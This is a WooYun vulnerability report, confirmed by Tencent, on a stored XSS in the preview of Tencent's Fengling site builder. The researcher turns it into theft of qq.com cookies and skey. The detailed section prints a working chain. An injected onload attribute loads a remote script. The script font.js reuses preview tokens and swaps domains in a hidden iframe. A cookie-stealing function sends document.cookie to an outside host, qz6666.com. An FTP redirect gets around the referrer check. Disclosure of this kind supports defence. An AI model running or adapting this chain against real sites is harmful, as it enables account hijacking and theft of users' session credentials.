当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0164769

漏洞标题:腾讯某站XSS漏洞可获取cookie/skey(点击一下上你的各种qq业务)

相关厂商:腾讯

漏洞作者: thx

提交时间:2015-12-28 13:23

修复时间:2016-02-09 23:29

公开时间:2016-02-09 23:29

漏洞类型:XSS 跨站脚本攻击

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-12-28: 细节已通知厂商并且等待厂商处理中
2015-12-29: 厂商已经确认,细节仅向厂商公开
2016-01-08: 细节向核心白帽子及相关领域专家公开
2016-01-18: 细节向普通白帽子公开
2016-01-28: 细节向实习白帽子公开
2016-02-09: 细节向公众公开

简要描述:

~

详细说明:

风铃建站,桌面版预览,没有过滤QQ客服组件自上传图片url,效果页面:
http://qz6666.com/iframe.html
http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc

QQ图片20151225203519.png


1.风铃建站,选择桌面模板创建网站
http://zhan.qq.com/default/tpl?screen=1&type=1
2.编辑,组件,添加QQ客服,组件设置中自己上传图片并在保存时抓包,更改src
http://fl.cdn.qq.com/transition/51/2000685651/982/82044509425637198825458012571080.png#\" onload=\"var s=document.createElement('script');s.src='http://qz6666.com/font.js';document.body.appendChild(s);
3.预览,会跳转到带有token的url,token会失效,XSS获取的cookie也是flzhan.com域的
http://preview.flzhan.com/preview/preview/2000685651/index.html?mode=pc&time=1451042318&tk=555d0e28df242f8eb34d757254028a49&r=596752
解决token问题,抓包发现是由一个无token的url跳转的:
http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc
解决cookie域问题,从下面文件中看到开头一句话,尝试直接替换url中的域名

http://api.zhan.qq.com/default/initJs?siteId=2000685651&page=index&target=preview&v=96196
//若站点域名使用xxx.zhan.qq.com,则设置docunent.domain
var topUrl = window.location.href;
if(topUrl.indexOf('zhan.qq.com')>0){
document.domain = 'qq.com';
}


发现有效
http://zhan.qq.com/preview/preview/2000685651/index.html?mode=pc&time=1451042318&tk=555d0e28df242f8eb34d757254028a49&r=596752
4.最终思路,预览无token的url,跳转到带token的url,加载xss脚本,获取token,框架加载替换域名url,获取qq.com域cookie

font.js
var domain = document.domain;
//第一次加载domain为preview.flzhan.com,第二次加载domain为qq.com
if (domain == 'preview.flzhan.com')
{
var pre_token = GetCookie('previewTk_2000685651');
var pre_time = GetCookie('previewTime_2000685651');
var s = document.createElement('iframe');s.src="http://zhan.qq.com/preview/preview/2000685651/index.html?mode=pc&time="+pre_time+"&tk="+pre_token+"&r="+Math.random()*1000000;s.style.display='none';document.body.appendChild(s);
}else if (domain == "qq.com")
{
WriteLog();
}
function GetCookie(name) {
var arr = document.cookie.match(new RegExp("(^| )" + name + "=([^;]*)(;|$)"));
if (arr != null) return unescape(arr[2]);
return null;
}
//没搭XSS平台,下面是xsser.me中直接借的一段代码
function WriteLog(){(new Image()).src='http://qz6666.com/font.asp?do=api&id=u5AqAS&location='+escape((function(){try{return document.location.href}catch(e){return ''}})())+'&toplocation='+escape((function(){try{return top.location.href}catch(e){return ''}})())+'&cookie='+escape((function(){try{return document.cookie}catch(e){return ''}})())+'&opener='+escape((function(){try{return (window.opener && window.opener.location.href)?window.opener.location.href:''}catch(e){return ''}})());}


最后,又有一个问题,页面有判断referrer,必须是*.qq.com或者空,不能隐藏框架形式加载。解决,GG了一个匿名FTP,ftp跨协议:
ftp://218.2.110.212/Webs/Mod_EnvAuto/CommonInfo/bulletininfo/test.html

test.html
<script>
window.location="http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc";
</script>


最终效果:
http://qz6666.com/iframe.html

漏洞证明:

http://preview.flzhan.com/default/preview?mode=pc&siteId=2000685651&url=http%3A%2F%2Fpreview.flzhan.com%2Fpreview%2Fpreview%2F2000685651%2Findex.html%3Fmode%3Dpc

QQ图片20151225203519.png


http://qz6666.com/iframe.html

QQ图片20151225202034.png


http://qz6666.com/cook.txt

QQ图片20151225202505.png

修复方案:

版权声明:转载请注明来源 thx@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:5

确认时间:2015-12-29 14:23

厂商回复:

非常感谢您的报告,问题已着手处理,感谢大家对腾讯业务安全的关注。如果您有任何疑问,欢迎反馈,我们会有专人跟进处理。

最新状态:

暂无